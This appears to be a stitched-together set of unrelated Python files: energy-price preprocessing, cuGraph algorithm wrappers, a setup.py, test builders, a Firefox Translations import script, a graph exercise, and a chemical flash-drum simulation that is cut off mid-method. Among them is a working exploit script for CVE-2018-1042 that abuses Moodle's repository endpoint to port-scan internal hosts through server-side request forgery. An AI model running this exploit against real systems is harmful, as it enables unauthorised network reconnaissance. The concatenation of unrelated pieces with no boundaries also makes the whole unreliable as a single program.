# -*- coding: utf-8 -*-
"""
Created on Wed Apr  5 14:10:45 2023

@author: rikke
"""

import pandas as pd
import os

#%%
#Load data

TimeSeriesData = pd.read_csv(r"C:\Users\rikke\Documents\Speciale data\Speciale\German Intraday Data 2021-2022\intradaydataDEhour17(Extended).csv")

#%%
#Add time index, and remove NA's

TimeSeriesData['Time_index'] = TimeSeriesData.index
TimeSeriesData['Timeseries_ID'] = "1"
TimeSeriesData['ExecutionTime'] = pd.to_datetime(TimeSeriesData['ExecutionTime'])
TimeSeriesData = TimeSeriesData.set_index('ExecutionTime')
TimeSeriesData['Weighted Average Price'] = TimeSeriesData['Weighted Average Price'].interpolate(method='nearest')
TimeSeriesData = TimeSeriesData.reset_index()

#%%
#Saving CSV

path = 'C:/Users/rikke/Documents/Speciale data/Speciale/Data'
filename = "TimeSeriesDataSet - Trades (Extended).csv"
full_path = os.path.join(path, filename)
TimeSeriesData.to_csv(full_path, index=False)

print("Data saved to", full_path)


import metagraph as mg
from metagraph import concrete_algorithm, NodeID
from .. import has_cugraph
from typing import Callable, Tuple, Any

if has_cugraph:
    import cugraph
    import cudf
    import cupy
    from .types import CuGraph, CuGraphBipartiteGraph, CuGraphEdgeSet, CuGraphEdgeMap
    from ..cudf.types import CuDFVector, CuDFNodeSet, CuDFNodeMap

    # TODO only works for unweighted graphs ; make this only work for unweighted graphs
    # @concrete_algorithm("centrality.betweenness")
    # def cugraph_betweenness_centrality(
    #         graph: CuGraph,
    #         nodes: mg.Optional[CuDFNodeSet], # TODO verify this is correct
    #         normalize: bool,
    # ) -> CuDFNodeMap:
    #     node_to_score_df = cugraph.betweenness_centrality(graph.value, k=None if nodes is None else nodes.value.tolist(), normalized=False) # TODO use 'weights' param
    #     node_to_score_df = node_to_score_df.set_index("vertex")
    #     return CuDFNodeMap(node_to_score_df, "betweenness_centrality",)

    @concrete_algorithm("clustering.connected_components")
    def connected_components(graph: CuGraph) -> CuDFNodeMap:
        series = cugraph.weakly_connected_components(graph.value).set_index("vertices")[
            "labels"
        ]
        return CuDFNodeMap(series)

    @concrete_algorithm("clustering.strongly_connected_components")
    def strongly_connected_components(graph: CuGraph) -> CuDFNodeMap:
        series = cugraph.strongly_connected_components(graph.value).set_index(
            "vertices"
        )["labels"]
        return CuDFNodeMap(series)

    @concrete_algorithm("centrality.pagerank")
    def cugraph_pagerank(
        graph: CuGraph, damping: float, maxiter: int, tolerance: float
    ) -> CuDFNodeMap:
        pagerank = cugraph.pagerank(
            graph.value, alpha=damping, max_iter=maxiter, tol=tolerance
        ).set_index("vertex")["pagerank"]
        return CuDFNodeMap(pagerank)

    @concrete_algorithm("traversal.bfs_iter")
    def breadth_first_search(
        graph: CuGraph, source_node: NodeID, depth_limit: int
    ) -> CuDFVector:
        bfs_df = cugraph.bfs(graph.value, source_node)
        bfs_df = bfs_df[bfs_df.predecessor.isin(bfs_df.vertex) | (bfs_df.distance == 0)]
        bfs_ordered_vertices = bfs_df.sort_values("distance").vertex.reset_index(
            drop=True
        )
        return CuDFVector(bfs_ordered_vertices)

    @concrete_algorithm("clustering.triangle_count")
    def cugraph_triangle_count(graph: CuGraph) -> int:
        return cugraph.triangles(graph.value) // 3

    # TODO cupy.ufunc's reduce not supported https://docs.cupy.dev/en/stable/reference/ufunc.html#universal-functions-ufunc
    # @concrete_algorithm("util.graph.aggregate_edges")
    # def cugraph_graph_aggregate_edges(
    #     graph: CuGraph,
    #     func: Callable[[Any, Any], Any],
    #     initial_value: Any,
    #     in_edges: bool,
    #     out_edges: bool,
    # ) -> CuDFNodeMap:
    #     pass

    @concrete_algorithm("util.graph.filter_edges")
    def cugraph_graph_filter_edges(
        graph: CuGraph, func: Callable[[Any], bool]
    ) -> CuGraph:
        new_g = cugraph.DiGraph() if graph.value.is_directed() else cugraph.Graph()
        # TODO do something more optimal when there's an adjlist and no edgelist
        df = graph.value.view_edge_list()
        keep_mask = df["weights"].applymap(func).values
        # TODO reset_index is workaround for https://github.com/rapidsai/cugraph/issues/1080
        keep_df = df.iloc[keep_mask].reset_index(drop=True)
        new_g.from_cudf_edgelist(
            keep_df, source="src", destination="dst", edge_attr="weights"
        )
        # TODO handle node weights
        graph_nodes = cudf.concat([df["src"], df["dst"]]).unique()
        new_g_nodes = cudf.concat([keep_df["src"], keep_df["dst"]]).unique()
        any_nodes_lost = (~graph_nodes.isin(new_g_nodes)).any()
        return CuGraph(new_g, graph_nodes)

    def _assign_uniform_weight(
        input_graph: cugraph.Graph, default_value: Any
    ) -> cugraph.Graph:
        g = cugraph.DiGraph() if input_graph.is_directed() else cugraph.Graph()
        if input_graph.edgelist is not None:
            # TODO avoid copying the 'src' and 'dst' columns twice
            gdf = input_graph.view_edge_list().copy()
            gdf["weight"] = cupy.full(len(gdf), default_value)
            g.from_cudf_edgelist(
                gdf, source="src", destination="dst", edge_attr="weight"
            )
        else:
            offset_col, index_col, _ = g.view_adj_list()
            value_col = cudf.Series(cupy.full(len(offset_col), default_value))
            g.from_cudf_adjlist(offset_col, index_col, value_col)
        return g

    @concrete_algorithm("util.edgemap.from_edgeset")
    def cugraph_edge_map_from_edgeset(
        edgeset: CuGraphEdgeSet, default_value: Any
    ) -> CuGraphEdgeMap:
        g = _assign_uniform_weight(edgeset.value, default_value)
        return CuGraphEdgeMap(g)

    @concrete_algorithm("util.graph.assign_uniform_weight")
    def cugraph_graph_assign_uniform_weight(graph: CuGraph, weight: Any) -> CuGraph:
        new_edges = _assign_uniform_weight(graph.value, weight)
        new_nodes = None if graph.nodes is None else graph.nodes.copy()
        return CuGraph(new_edges, new_nodes, graph.has_node_weights)

    @concrete_algorithm("util.graph.build")
    def cugraph_graph_build(
        edges: mg.Union[CuGraphEdgeSet, CuGraphEdgeMap],
        nodes: mg.Optional[mg.Union[CuDFNodeSet, CuDFNodeMap]],
    ) -> CuGraph:
        return CuGraph(edges.value, nodes.value, isinstance(nodes, CuDFNodeMap))

    @concrete_algorithm("bipartite.graph_projection")
    def graph_projection(bgraph: CuGraphBipartiteGraph, nodes_retained: int) -> CuGraph:
        g = cugraph.DiGraph() if bgraph.value.is_directed() else cugraph.Graph()
        two_hop_neighbors_df = bgraph.value.get_two_hop_neighbors()
        nodes_to_keep = bgraph.value.sets()[nodes_retained]
        keep_mask = two_hop_neighbors_df.first.isin(nodes_to_keep)
        edge_list_df = two_hop_neighbors_df[keep_mask]
        g.from_cudf_edgelist(edge_list_df, source="first", destination="second")
        nodes = nodes_to_keep.set_index(nodes_to_keep)
        return CuGraph(g, nodes=nodes)

    @concrete_algorithm("clustering.louvain_community")
    def cugraph_louvain_community(graph: CuGraph) -> Tuple[CuDFNodeMap, float]:
        label_df, modularity_score = cugraph.louvain(graph.value)
        label_series = label_df.set_index("vertex")["partition"]
        orphan_mask: cupy.ndarray = ~graph.nodes.index.isin(label_series.index)
        orphan_nodes = graph.nodes.index[orphan_mask]
        orphan_count = orphan_mask.astype(int).sum().item()
        max_label = label_df.index.max()
        orphan_labels = cupy.arange(max_label + 1, max_label + 1 + orphan_count)
        orphan_series = cudf.Series(orphan_labels, index=orphan_nodes)
        label_series = cudf.concat([label_series, orphan_series])
        # TODO more orphan should worsen the modularity score but do not in this implementation
        return (
            CuDFNodeMap(label_series),
            modularity_score,
        )


from setuptools import find_packages, setup

NAME = 'torch_mfcc'
VERSION = "0.2.0"
REQUIREMENTS = [
    'numpy',
    'scipy',
    'librosa'
]

with open("README.md", "r") as fh:
    long_description = fh.read()

setup(name=NAME,
      version=VERSION,
      description="A librosa's STFT/FBANK/MFCC implement based on Torch",
      long_description=long_description,
      long_description_content_type="text/markdown",
      url="https://github.com/echocatzh/torch-mfcc",
      author="Shimin Zhang",
      author_email="shmzhang@npu-aslp.org",
      packages=["torch_mfcc"],
      install_requires=REQUIREMENTS,
    #   python_requires=">=3.5",
      license="MIT")


from customer import Customer
from movie import Movie
from movie import MOVIE_TYPES
from movie import TYPE_NEW_RELEASE
from movie import TYPE_REGULAR
from movie import TYPE_CHILDREN
from movie import TYPE_UNKNOWN
from rental import Rental
from store  import Store

class CustomerBuilder(object):
    def __init__(self, name="Jim",
            rentals=None, rental=None,
            builders=None, builder=None):
        self.name = name
        self.rentals = rentals or []
        if rental:
            self.rentals += [rental]
        self.builders = builders or []
        if builder:
            self.builders += [builder]

    def build(self):
        result = Customer(self.name)
        for rental in (self.rentals + [b.build() for b in self.builders]):
            result.add_rental(rental)
        return result

class RentalBuilder(object):
    def __init__(self, movie=None, days=3, builder=None):
        self.movie = movie
        self.days = days
        if builder and not movie:
            self.movie = builder.build()

    def build(self):
        return Rental(self.movie, self.days)

class MovieBuilder(object):
    def __init__(self, name="Godfather 4", movietype=TYPE_NEW_RELEASE):
        self.name = name
        self.type = movietype

    def build(self):
        return Movie(self.name, self.type)

class StoreBuilder(object):
    def __init__(self,
            movies=None, movie=None,
            builders=None, builder=None):
        self.movies = movies or []
        if movie:
            self.movies += [movie]
        self.builders = builders or []
        if builder:
            self.builders += [builder]

    def build(self):
        return Store(self.movies + [b.build() for b in self.builders])


# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.

# script to pull and import Firefox Translations's extension source code

import os.path
from zipfile import ZipFile
import subprocess
import shutil
import sys

# the version number is the only part of this script that needs to be updated
# in order to update the in-tree version with the latest xpi version
extension_version = input(
    "Type the extension's version (tag) on Github you want to import: "
)
print("Importing version:", extension_version)
if not extension_version:
    sys.exit("Value can't be empty.")

extension_folder = "firefox-translations-src"

if not os.path.exists("import_xpi.py"):
    sys.exit("This script is intended to be executed from its local folder")

have_xpi = "N"
local_xpi_file = (
    "firefox-translations-src/dist/production/firefox/"
    "firefox-infobar-ui/firefox-translations-" + extension_version + ".xpi"
)
if os.path.isfile(local_xpi_file):
    have_xpi = input(
        "Extension xpi exists. Press Y to use it or any other key to rebuild it."
    )

if have_xpi.lower() != "y":
    # deleting old files if any
    shutil.rmtree(extension_folder, ignore_errors=True)
    # cloning the extension
    subprocess.call(
        (
            "git clone -b v" + extension_version + " "
            "https://github.com/mozilla-extensions/firefox-translations/ "
            + extension_folder
            + " "
        ).split()
    )
    # setting up the repo
    subprocess.call("yarn install".split(), cwd=extension_folder)
    # pulling bergamot-translator submodule, the repo containing the port of the
    # neural machine translation engine to wasm
    subprocess.call(
        "git submodule update --init --recursive".split(),
        cwd=extension_folder,
    )
    # build the wasm nmt module
    subprocess.call(
        "./bergamot-translator/build-wasm.sh".split(),
        cwd=extension_folder,
    )
    # import the generated wasm module to the extension
    subprocess.call(
        "./import-bergamot-translator.sh ./bergamot-translator/build-wasm/".split(),
        cwd=extension_folder,
    )
    # build the final xpi
    subprocess.call("yarn build:firefox-infobar-ui".split(), cwd=extension_folder)

shutil.rmtree("extension", ignore_errors=True)
os.mkdir("extension")
file_exceptions = [
    "META-INF",
    ".md",
    "BRANCH",
    "COMMITHASH",
    "LASTCOMMITDATETIME",
    "VERSION",
    ".map",
    ".yaml",
]

def isValidFile(filename):
    for exception in file_exceptions:
        if exception in filename:
            return False
    return True

file_set = set()
# read xpi files
with ZipFile(local_xpi_file, "r") as zip:
    namelist = zip.namelist()
    cleared_namelist = []
    for filename in namelist:
        if isValidFile(filename):
            full_file_path = zip.extract(filename, "extension")
            if filename.endswith(".js"):
                filename = "browser/extensions/translations/{}".format(full_file_path)
                subprocess.call(
                    str(
                        "./mach lint --linter license {} --fix".format(filename)
                    ).split(),
                    cwd="../../../",
                )

# patching BrowserGlue.jsm
with open("../../components/BrowserGlue.jsm") as fp:
    count = 0
    Lines = fp.readlines()
    for line in Lines:
        if "resource://builtin-addons/translations/" in line:
            Lines[count - 1] = '            "{}",\n'.format(extension_version)
            with open("../../components/BrowserGlue.jsm", "w") as outfile:
                outfile.write("".join(Lines))
            break
        count += 1

print("Import finalized successfully")


N = int(input())
linked = int(input())
network = [[] for _ in range(N + 1)]

for _ in range(linked):
    a, b = map(int, input().split())
    network[a].append(b)
    network[b].append(a)

# print(network)
visited = [False] * (N + 1)

def dfs(network, n, visited):
    visited[n] = True
    for i in network[n]:
        if not visited[i]:
            dfs(network, i, visited)

dfs(network, 1, visited)
# print(visited)
visited[1] = False
# print(visited)
cnt = 0
for i in range(len(visited)):
    if visited[i]:
        cnt += 1
print(cnt)


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Script to exploit CVE-2018-1042 in order to do internal port scans.
#
# by Psycho (@UDPsycho)
#   Twitter: https://www.twitter.com/UDPsycho
#

import sys
import requests

if len(sys.argv) != 6:
    # "repo_id" & "sesskey" parameters are useless but necessary for the attack
    print ("\nUsage:   {} <url> <target_ip> MoodleSession=<value> repo_id=<value> sesskey=<value>".format(sys.argv[0]))
    print ("Example: {} https://example.com/repository/repository_ajax.php?action=signin 127.0.0.1 MoodleSession=XXXXX repo_id=X sesskey=XXXXX\n".format(sys.argv[0]))

else:

  # Required for color output
  RED   = "\033[1;91;40m"
  GREEN = "\033[1;92;40m"
  RESET = "\033[0m"

  # Parse args
  target_url    = sys.argv[1]
  target_ip     = sys.argv[2]
  moodle_cookie = sys.argv[3].split("=")[0]
  moodle_value  = sys.argv[3].split("=")[1]
  repo_id_param = sys.argv[4].split("=")[0]
  repo_id_value = sys.argv[4].split("=")[1]
  sesskey_param = sys.argv[5].split("=")[0]
  sesskey_value = sys.argv[5].split("=")[1]

  # Top ports according to nmap (https://nmap.org/book/port-scanning.html#most-popular-ports)
  top_ports = ("80","23","443","21","22","25","3389","110","445","139",
              "143","53","135","3306","8080","1723","111","995","993","5900",
              "631","161","137","123","138","1434","445","135","67","53",
              "139","500","68","520","1900","4500","514","49152","162","69")

  closed_port_error = "Connection refused"
  open_ports = ""

  # Cookies required to send the request
  cookies = { moodle_cookie : moodle_value }

  print ("\nScanning top ports, please wait...\n")

  for port in top_ports:

    target = target_ip + ":" + port

    try:

      # Data required to exploit the vulnerability
      data = {
        "file"        : target,
        repo_id_param : repo_id_value,
        sesskey_param : sesskey_value
      }

      response = requests.post(target_url, cookies=cookies, data=data, allow_redirects=False)

      if closed_port_error in response.text:
        print ("{}{}\tClosed{}".format(target, RED, RESET))
      else:
        open_ports += (port + " ")
        print ("{}{}\tOpen{}".format(target, GREEN, RESET))

    except requests.ConnectionError:
      open_ports += (port + " ")
      print ("{}{}\tOpen{}".format(target, GREEN, RESET))

  print ("\nPorts {}{}{}seems to be open at {}{}{}!\n"
    .format(GREEN, open_ports, RESET, GREEN, target_ip, RESET))


from gekko import GEKKO
import numpy as np
from stream import Stream
from math import sinh, cosh
from scipy.integrate import quad
import csv

m = GEKKO()

def Antoine(T, C1, C2, C3, C4, C5):

    P = m.exp(C1 + (C2 / T) + (C3 * m.log(T)) + (C4 * (T ** C5)))

    return (P / 1000) # kPa

def Antoinenp(T, C1, C2, C3, C4, C5):

    P = np.exp(C1 + (C2 / T) + (C3 * np.log(T)) + (C4 * (T ** C5)))

    return (P / 1000) # kPa

def AntoineInv(P, C1, C2, C3, C4, C5):

    m = GEKKO()
    T = m.Var(value = 298.15, lb = 100, ub = 800)
    m.Equation([(m.exp(C1 + (C2 / T) + (C3 * m.log(T)) + (C4 * (T ** C5))) / 1000) - P == 0])
    m.solve(disp=False)
    return float(T.value[0]) # K

def HeatVap(T, Tc, C1, C2, C3, C4):

    Tr = T / Tc
    Hvap = C1 * (1 - Tr) ** (C2 + C3 * Tr + C4 * Tr * Tr)
    return Hvap/1e6 # kJ / mol

def CP_L(T, C1, C2, C3, C4, C5):

    CPL = C1 +( C2 * T) +( C3 * (T ** 2)) +( C4 * (T ** 3)) + (C5 * (T ** 4))
    return CPL/1e6 # kJ / mol K

def CP_ig(T, C1, C2, C3, C4, C5):

    CPIG = C1 + C2 * pow((C3 / T) / (sinh(C3 / T)), 2) + C4 * pow((C5 / T) / (cosh(C5 / T)), 2)
    return CPIG/1e6 # kJ / mol K

def meanCP(f, T1, T2, ar):

    mcp, err = quad(f, T1, T2, args = ar, limit=1100)
    mcp = mcp / (T2 - T1)
    return mcp # kJ / mol K

def parameters(compounds):

    p = {'Antoine': {compound: compound_data[compound]['Antoine'] for compound in compounds},
         'AntoineInv' : {compound: compound_data[compound]['Antoine'] for compound in compounds},
         'Hvap' : {compound: compound_data[compound]['Hvap'] for compound in compounds},
         'CPL': {compound: compound_data[compound]['CPL'] for compound in compounds},
         'CPig': {compound: compound_data[compound]['CPIG'] for compound in compounds}}

    return p

with open('compound_data.csv', mode = 'r') as csv_f:
    reader = csv.reader(csv_f)
    compound_data = {row[0]: {'Antoine': {'C1': float(row[7]), 'C2': float(row[8]), 'C3': float(row[9]), 'C4': float(row[10]), 'C5': float(row[11])},
                                'Hvap': {'Tc': float(row[1]), 'C1': float(row[12]), 'C2': float(row[13]), 'C3': float(row[14]), 'C4': float(row[15])},
                                'CPL': {'C1': float(row[2]), 'C2': float(row[3]), 'C3': float(row[4]), 'C4': float(row[5]), 'C5': float(row[6])},
                                'CPIG': {'C1': float(row[16]), 'C2': float(row[17]), 'C3': float(row[18]), 'C4': float(row[19]), 'C5': float(row[20])}} for row in reader}
    csv_f.close()

class FlashDrum():

    def __init__(self, mode = 'Isothermal'):
        ''' The Flash Drum has one inlet stream and two outlet stream.
         The program uses the class Stream to represent the inlet and outlet process streams.
         -> feed is the inlet object from the class Stream.
         -> vapor is an outlet object from the class Stream.
         -> liquid is an outlet object from the class Stream.
         -> mode refers to calculations made by the program, default is "Isothermal", it also can work in "Adiabatic".
         -> psi is the vapor outlet / feed inlet ratio.
         -> Heat is the heat in kJ/mol that the Flash Drum requires.
         -> Temperature is the Flash Drum operating temperature in K.
         -> Pressure is the Flash Drum operating pressure kPa.
         -> Tref is the reference temperature in K for the energy balance calculations.
         This class only works with pressure in kPa and temperature in K. '''
        self.feed = Stream("FEED")
        self.vapor = Stream("VAPOR")
        self.liquid = Stream("LIQUID")
        self.mode = mode
        self.psi = 0
        self.Heat = None
        self.Temperature = None
        self.Pressure = None
        self.Tref = 298.15

    def setFeedStream(self, inletStream = Stream("FEED")):
        '''Set the feed stream properties.'''
        inletStream.normalize()
        self.feed.setT(inletStream.Temperature)
        self.feed.setP(inletStream.Pressure)
        self.feed.setmF(inletStream.molarFlow)
        self.feed.setmC(inletStream.mComposition)
        self.feed.setH(inletStream.Enthalpy)

    def Streams(self, energy = False):
        ''' Display the stream results in a table. '''

        F = str(round(self.feed.getmF(), 3))
        V = str(round(self.vapor.getmF(), 3))
        L = str(round(self.liquid.getmF(), 3))
        T_f = str(round(self.feed.getT(), 2))
        T_v = str(round(self.vapor.getT(), 2))
        T_l = str(round(self.liquid.getT(), 2))
        P_f = str(self.feed.getP())
        P_v = str(self.vapor.getP())
        P_l = str(self.liquid.getP())

        stream_table1 = ""
        stream_table1 += "-"*100
        stream_table1 += "\n\t\t\t\tF L A S H  D R U M: \t" + self.mode.upper()
        stream_table1 += "\n"+"-"*100
        stream_table1 += "\nStreams:\t\t" + "FEED" + " " * 20 + "VAPOR " + " " * 20 + "LIQUID"
        stream_table1 += "\n" + "-"*100
        stream_table1 += "\n\t\t\t" + "T_f = " + T_f + " K" + "\t\t" + "T_v = " + T_v + " K" + "\t\t  " + "T_l = " + T_l + " K"
        stream_table1 += "\n\t\t\t" + "P_f = " + P_f + " kPa" + "\t\t" + "P_v = " + P_v + " kPa" + "\t\t  " + "P_l = " + P_l + " kPa"

        if len(F) >  5:

            if len(V) > 5:

                stream_table1 += "\n\t\t\t" + "F = " + F + " mol/h" + "\t" + "V = " + V + " mol/h" + "\t  " + "L = " + L + " mol/h"

            else:

                stream_table1 += "\n\t\t\t" + "F = " + F + " mol/h" + "\t" + "V = " + V + " mol/h" + "\t\t  " + "L = " + L + " mol/h"

        elif len(F) > 2:

            if len(V) > 5:

                stream_table1 += "\n\t\t\t" + "F = " + F + " mol/h" + "\t\t" + "V = " + V + " mol/h" + "\t  " + "L = " + L + " mol/h"

            else:

                stream_table1 += "\n\t\t\t" + "F = " + F + " mol/h" + "\t\t" + "V = " + V + " mol/h" + "\t\t  " + "L = " + L + " mol/h"

        elif len(F) > 0:

            if len(V) > 0:

                stream_table1 += "\n\t\t\t" + "F = " + F + " mol/h" + "\t\t" + "V = " + V + " mol/h" + "\t\t  " + "L = " + L + " mol/h"

            else:

                stream_table1 += "\n\t\t\t" + "F = " + F + " mol/h" + "\t\t" + "V = " + V + " mol/h" + "\t\t\t  " + "L = " + L + " mol/h"

        stream_table2 = ""

        for key in self.feed.getmC().keys():

            if len(key) > 7:

                stream_table2 += "\n" + key + "\t\tz = "
            else:
                stream_table2 += "\n" + key + "\t\t\tz = "

            stream_table2 += str(round(self.feed.getmC(key), 3))

            if len(str(round(self.feed.getmC(key), 3))) > 4:

                stream_table2 += "\t\t" + "y = " + str(round(self.vapor.getmC(key), 3))

            else:

                stream_table2 += "\t\t\t" + "y = " + str(round(self.vapor.getmC(key), 3))

            if len(str(round(self.vapor.getmC(key), 3))) > 4:

                stream_table2 += "\t\t  " + "x = " + str(round(self.liquid.getmC(key),3))

            else:

                stream_table2 += "\t\t\t  " + "x = " + str(round(self.liquid.getmC(key),3))

        stream_table3 = ""

        if energy:
            stream_table3 += "\n\t\t\t" + "h_f = " + str(round(self.feed.getH(), 3)) + " kJ/mol" + \
                "\t" + "h_v = " + str(round(self.vapor.getH(), 3)) + " kJ/mol" + \
                "\t  " + "h_l = " + str(round(self.liquid.getH(), 3)) + " kJ/mol" + "\n" + "-"*100 + \
                "\n\t\t\tHEAT: Q = " + str(round(self.Heat)) + " kW"
        stream_table3 += "\n" + "-"*100
        stream_table = stream_table1 + stream_table2 + stream_table3
        return stream_table

    def saveResults(self):
        feed = {'name': self.feed.getName(),
                'Temeperature': self.feed.getT(),
                'Pressure': self.feed.getP(),
                'Molar Flow': self.feed.getmF(),
                'Molar Composition': self.feed.getmC(),
                'Enthalpy': self.feed.getH()}
        vapor = {'name': self.vapor.getName(),
                'Temeperature': self.vapor.getT(),
                'Pressure': self.vapor.getP(),
                'Molar Flow': self.vapor.getmF(),
                'Molar Composition': self.vapor.getmC(),
                'Enthalpy': self.vapor.getH()}
        liquid = {'name': self.liquid.getName(),
                'Temeperature': self.liquid.getT(),
                'Pressure': self.liquid.getP(),
                'Molar Flow': self.liquid.getmF(),
                'Molar Composition': self.liquid.getmC(),
                'Enthalpy': self.liquid.getH()}
        Q = self.Heat
        Psi = self.psi
        mode = self.mode
        results = {'Drum': {'mode': mode, 'Heat': Q, 'Psi': Psi},
                    'Feed': feed,
                    'Vapor': vapor,
                    'Liquid': liquid}
        return  results

    def idealK(self, T, P, c):
        ''' Caculates an ideal K parameter with Raoult's Law'''
        Psat = Antoine(T, **c)
        return Psat / P

    def isothermal(self, T, P, c, energy = False):
        ''' Simulates an Isothermal Flash Drum given an operating temperature and pressure.'''
        self.mode = "Isothermal"
        self.vapor.setT(T)
        self.vapor.setP(P)
        self.liquid.setT(T)
        self.liquid.setP(P)
        self.vapor.setmC(None)
        self.liquid.setmC(None)
        Tf_bubble = self.bubbleT(self.feed.getP(), c)
        Tf_dew = self.dewT(self.feed.getP(), c)
        T_bubble = self.bubbleT(P, c)
        T_dew = self.dewT(P, c)
        Tf = self.feed.getT()
        Tf_mode = None
        # Check for the feedstream condition
        if Tf <= Tf_bubble:

            Tf_mode = "liquid"

        elif Tf >= Tf_dew:

            Tf_mode = "vapor"

        else:

            Tf_mode = "mixture"

        Tref = self.Tref
        cpl = {}
        cpig = {}
        hf = {}
        hv = {}
        hl = {}
        tb = {}

        ### MATERIAL BALANCE AND ENERGY BALANCE
        # Check if the operating temperature is between the limits for the PSI calculations.

        ## BELOW BUBBLE TEMPERATURE MEANS LIQUID PHASE ONLY
        if T <= T_bubble:
            ## MATERIAL BALANCE
            #  There is no vapor phase
            self.psi = 0
            self.vapor.setmF(0)
            self.liquid.setmF(self.feed.getmF())

            for key in self.feed.getmC().keys():

                self.liquid.setmC((self.feed.getmC(key)), key)
                self.vapor.setmC(0, key)

            ## ENERGY BALANCE, if enabled ...
            if energy:

                for key in self.feed.getmC().keys():
                    # Mean heat capacity
                    cpl[key] = meanCP(CP_L, T_bubble * 0.8,  T_dew * 1.2, tuple([value for value in c['CPL'][key].values()]))
                    # Enthalply calculation.
                    if Tf_mode == "liquid":

                        hf[key] = self.feed.getmC(key) * cpl[key] * (Tf - Tref)

                    elif Tf_mode == "vapor":

                        cpig[key] = meanCP(CP_ig, T_bubble * 0.8,  T_dew * 1.2, tuple([value for value in c['CPig'][key].values()]))
                        tb[key] = AntoineInv(P, **c['AntoineInv'][key])
                        hf[key] = self.feed.getmC(key) * (cpl[key] * (tb[key] - Tref) + HeatVap(tb[key], **c['Hvap'][key]) + cpig[key] * (T - tb[key]))

                    else:

                         hf[key] = self.feed.getmC(key) * (cpl[key] * (T - Tref) + HeatVap(T, **c['Hvap'][key]))

                    hl[key] = self.liquid.getmC(key) * cpl[key] * (T - Tref)
                    hv[key] = 0.0

                self.feed.setH(sum([value for value in hf.values()]))
                self.liquid.setH( sum([value for value in hl.values()]))
                self.vapor.setH(0.0)
                # Energy balance for heat (Q) caculation.
                self.Heat = self.vapor.getmF() * self.vapor.getH() + self.liquid.getmF() * self.liquid.getH() - self.feed.getmF() * self.feed.getH()

        ## ABOVE DEW TEMPERATURE MEANS VAPOR PHASE ONLY
        elif T >= T_dew:
            ## MATERIAL BALANCE
            #  There is no vapor phase
            self.psi = 1
            self.vapor.setmF(self.feed.getmF())
            self.liquid.setmF(0)

            for key in self.feed.getmC().keys():

                self.liquid.setmC(0, key)
                self.vapor.setmC(self.feed.getmC(key), key)

            ## ENERGY BALANCE, if enabled ...
            if energy:

                for key in self.feed.getmC().keys():
                    # Mean heat capacity
                    cpl[key] = meanCP(CP_L, T_bubble * 0.8,  T_dew * 1.2, tuple([value for value in c['CPL'][key].values()]))
                    cpig[key] = meanCP(CP_ig, T_bubble * 0.8,  T_dew * 1.2, tuple([value for value in c['CPig'][key].values()]))
                    # Enthalply calculation.
                    if Tf_mode == "liquid":

                        hf[key] = self.feed.getmC(key) * cpl[key] * (Tf - Tref)

                    elif Tf_mode == "vapor":

                        tb[key] = AntoineInv(P, **c['AntoineInv'][key])
                        hf[key] = self.feed.getmC(key) * (cpl[key] * (tb[key] - Tref) + HeatVap(tb[key], **c['Hvap'][key]) + cpig[key] * (T - tb[key]))

                    else:

                         hf[key] = self.feed.getmC(key) * (cpl[key] * (T - Tref) + HeatVap(T, **c['Hvap'][key]))

                    hl[key] = 0
                    tb[key] = AntoineInv(P, **c['AntoineInv'][key])
                    hv[key] = self.vapor.getmC(key) * (cpl[key] * (tb[key] - Tref) + HeatVap(tb[key], **c['Hvap'][key]) + cpig[key] * (T - tb[key]))

                self.feed.setH(sum([value for value in hf.values()]))
                self.liquid.setH(0)
                self.vapor.setH(sum([value for value in hv.values()]))

                # Energy balance for heat (Q) caculation.
                self.Heat = self.vapor.getmF() * self.vapor.getH() + self.liquid.getmF() * self.liquid.getH() - self.feed.getmF() * self.feed.getH()

        # DRUM TEMPERATURE BETWEEN BUBBLE AND DEW TEMPERATURES
        else:
            ## MATERIAL BALANCE
            # Create a gekko model for solve the equations system
            m = GEKKO()
            # Ki calculations.
            Ki = {}

            for key in self.feed.getmC().keys():

                K = m.Intermediate(self.idealK(T,P, c['Antoine'][key]))
                Ki[key] = K

            Psi = m.Var(value=0.5, lb= 0.0, ub = 1.0)
            x = sum([((self.feed.getmC(key) * (1 - Ki[key])) / (1 + Psi * (Ki[key] - 1))) for key in Ki.keys()])
            m.Equation([x == 0])
            m.solve(disp=False)
            self.psi = float(Psi.value[0])
            # Calulate vapor and liquid molar flows.
            self.vapor.setmF(self.psi * self.feed.getmF())
            self.liquid.setmF(self.feed.getmF() - self.vapor.getmF())
            # Calculate vapor and liquid molar compositions
            for key in Ki.keys():

                self.liquid.setmC((self.feed.getmC(key)) / (1 + self.psi * (Ki[key][0] - 1)), key)
                self.vapor.setmC(self.liquid.getmC(key)  * Ki[key][0], key)

            ## ENERGY BALANCE, if enabled ...
            if energy:

                for key in self.feed.getmC().keys():
                    # Mean heat capacity
                    cpl[key] = meanCP(CP_L, T_bubble * 0.8,  T_dew * 1.2, tuple([value for value in c['CPL'][key].values()]))
                    # Enthalply calculation.
                    if Tf_mode == "liquid":

                        hf[key] = self.feed.getmC(key) * cpl[key] * (Tf - Tref)

                    elif Tf_mode == "vapor":

                        cpig[key] = meanCP(CP_ig, T_bubble * 0.8,  T_dew * 1.2, tuple([value for value in c['CPig'][key].values()]))
                        tb[key] = AntoineInv(P, **c['AntoineInv'][key])
                        hf[key] = self.feed.getmC(key) * (cpl[key] * (tb[key] - Tref) + HeatVap(tb[key], **c['Hvap'][key]) + cpig[key] * (T - tb[key]))

                    else:

                         hf[key] = self.feed.getmC(key) * (cpl[key] * (T - Tref) + HeatVap(T, **c['Hvap'][key]))

                    hl[key] = self.liquid.getmC(key) * cpl[key] * (T - Tref)
                    hv[key] = self.vapor.getmC(key) * (cpl[key] * (T - Tref) + HeatVap(T, **c['Hvap'][key]))

                self.feed.setH(sum([value for value in hf.values()]))
                self.liquid.setH( sum([value for value in hl.values()]))
                self.vapor.setH(sum([value for value in hv.values()]))

                # Energy balance for heat (Q) caculation.
                self.Heat = self.vapor.getmF() * self.vapor.getH() + self.liquid.getmF() * self.liquid.getH() - self.feed.getmF() * self.feed.getH()

    def adiabatic(self, P, c):
        ''' It makes adibatic flash caculations given an operating pressure.'''
        self.mode ="Adiabatic"
        self.Pressure = P
        self.vapor.setP(P)
        self.liquid.setP(P)
        self.vapor.setmC(None)
        self.liquid.setmC(None)
        Tf_bubble = self.bubbleT(self.feed.getP(), c)
